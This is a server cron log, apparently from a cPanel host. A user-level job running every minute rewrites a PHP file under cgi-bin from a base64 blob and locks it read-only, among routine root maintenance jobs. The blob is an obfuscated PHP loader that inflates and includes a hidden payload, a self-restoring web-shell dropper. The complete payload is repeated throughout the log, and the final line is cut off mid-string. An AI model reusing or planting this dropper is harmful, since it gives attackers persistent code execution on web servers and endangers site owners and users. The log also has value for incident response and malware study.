Apr 11 10:23:01 server CROND[17488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:24:01 server CROND[17542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:25:01 server CROND[17593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:25:01 server CROND[17595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:25:01 server CROND[17596]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 10:25:01 server CROND[17594]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:26:01 server CROND[17708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:27:01 server CROND[17748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:27:01 server CROND[17749]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 10:28:01 server CROND[17795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:29:01 server CROND[17936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:30:01 server CROND[17990]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:30:01 server CROND[17991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:30:01 server CROND[17992]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 10:30:01 server CROND[17993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:31:01 server CROND[18104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:32:01 server CROND[18144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:33:01 server CROND[18198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:34:01 server CROND[18349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:35:01 server CROND[18405]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:35:01 server CROND[18406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:35:01 server CROND[18408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:35:01 server CROND[18409]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 10:35:01 server CROND[18407]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 10:36:01 server CROND[18543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KC